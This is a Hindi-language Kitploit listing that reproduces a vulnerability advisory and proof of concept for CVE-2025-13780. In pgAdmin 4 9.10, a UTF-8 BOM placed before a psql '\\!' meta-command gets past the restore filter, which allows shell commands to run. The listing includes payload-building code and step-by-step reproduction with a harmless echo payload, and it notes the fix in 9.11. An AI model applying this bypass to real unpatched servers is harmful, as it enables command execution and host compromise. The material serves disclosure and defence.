Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pgadmin4-9.10-CVE-2025-13780 — CVE-2025-13780 के लिए प्रमाण की अवधारणा | Kitploit
उपकरण/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

CVE-2025-13780 के लिए प्रमाण की अवधारणा

रिपॉजिटरी देखें
14119 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

pgadmin4 < 9.11 मेटा-कमांड फ़िल्टर कमांड निष्पादन

सारांश

pgAdmin में Issue 9320 के सुधार के भाग के रूप में पेश किया गया PLAIN restore मेटा-कमांड फ़िल्टर उन मेटा-कमांड्स का पता नहीं लगाता जब कोई SQL फ़ाइल UTF-8 Byte Order Mark (EF BB BF) या अन्य विशेष अनुक्रमों से शुरू होती है। लागू किया गया फ़िल्टर has_meta_commands() फ़ंक्शन का उपयोग करता है, जो एक रेगुलर एक्सप्रेशन का उपयोग करके कच्चे बाइट्स को स्कैन करता है। रेगेक्स बाइट्स को अनदेखा करने योग्य नहीं मानता, इसलिए ! जैसे मेटा-कमांड अनपहचाने रह जाते हैं। जब pgAdmin psql को --file के साथ आमंत्रित करता है, psql बाइट्स को हटा देता है और कमांड निष्पादित करता है। इसके परिणामस्वरूप restore ऑपरेशन के दौरान दूरस्थ कमांड निष्पादन हो सकता है।

यह बायपास कमिट 1d397395f75320ca1d4ed5e9ca721c603415e836 में पेश किए गए पैच को प्रभावित करता है (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

प्रभावित संस्करण

पुष्टि किए गए प्रभावित:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

संभावित रूप से प्रभावित:

  • कोई भी संस्करण जिसमें कमिट 1d397395f75320ca1d4ed5e9ca721c603415e836 से पैच किया गया has_meta_commands() शामिल है
  • शमन

    • 9.11+: plain restores psql प्रतिबंधित मोड (\restrict) में चलते हैं, इसलिए मेटा-कमांड अब psql द्वारा ही अवरुद्ध कर दिए जाते हैं
    • 9.10: फ़िल्टर बायपास के लिए संवेदनशील।

    विवरण

    स्थान:

    • web/pgadmin/tools/restore/__init__.py
    • फ़ंक्शन has_meta_commands()

    प्रासंगिक कोड (पैच किए गए संस्करण से):

    root@kitploit:~
    def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
        pattern = re.compile(br'(^|\n)[ \t]*\\')
    
        with open(path, "rb") as f:
            prev_tail = b""
            while chunk := f.read(chunk_size):
                data = prev_tail + chunk
    
                if pattern.search(data):
                    return True
    
                prev_tail = data[-10:]
    
        return False
    

    मूल कारण:

    1. SQL फ़ाइलें बाइनरी मोड में खोली जाती हैं।
    2. रेगेक्स केवल बैकस्लैश से पहले रिक्त स्थान और टैब को अनदेखा करने योग्य मानता है।
    3. बैकस्लैश से पहले रखा गया UTF-8 BOM (EF BB BF) या ऐसा ही अनुक्रम पहचान को रोकता है।
    4. pgAdmin गलत निष्कर्ष निकालता है कि फ़ाइल में कोई मेटा-कमांड नहीं है।
    5. psql पढ़ते समय BOM को हटा देता है और मेटा-कमांड को सामान्य रूप से निष्पादित करता है।

    अपेक्षित व्यवहार:

    • मेटा-कमांड वाली SQL फ़ाइलों को BOM की परवाह किए बिना अवरुद्ध किया जाना चाहिए।

    वास्तविक व्यवहार:

    • BOM-उपसर्ग वाले मेटा-कमांड फ़िल्टर को बायपास करते हैं और निष्पादन की अनुमति देते हैं।

    पुनरुत्पादन चरण

    चरण 1: एक SQL फ़ाइल बनाएं जो BOM और एक मेटा-कमांड से शुरू होती है।

    root@kitploit:~
    payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
    with open("bypass_bom.sql", "wb") as f:
        f.write(payload)
    

    चरण 2: BOM सत्यापित करें:

    root@kitploit:~
    xxd bypass_bom.sql | head -1
    

    अपेक्षित:

    root@kitploit:~
    ef bb bf 5c 21 ...
    

    चरण 3: फ़ाइल को pgAdmin स्टोरेज में रखें:

    root@kitploit:~
    /var/lib/pgadmin/storage/<user>/bypass_bom.sql
    

    चरण 4: pgAdmin में: Restore -> Format: PLAIN -> bypass_bom.sql चुनें -> Run

    चरण 5: निष्पादन सत्यापित करें:

    root@kitploit:~
    ls /tmp/bom_ran
    

    बिना BOM वाली नियंत्रण फ़ाइल सही ढंग से अवरुद्ध हो जाती है।

    प्रमाण की अवधारणा (PoC)

    BOM-उपसर्ग पेलोड:

    root@kitploit:~
    \xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
    SELECT 1;
    

    नियंत्रण पेलोड:

    root@kitploit:~
    \\! echo SHOULD_BE_BLOCKED
    SELECT 1;
    

    प्रभाव

    • मेटा-कमांड के माध्यम से कमांड निष्पादन।
    • मनमानी फ़ाइल पढ़ना/लिखना।
    • संपूर्ण pgAdmin होस्ट से समझौता।
    • कनेक्टेड PostgreSQL सर्वरों से समझौता संभव।
    टूल डाउनलोड करें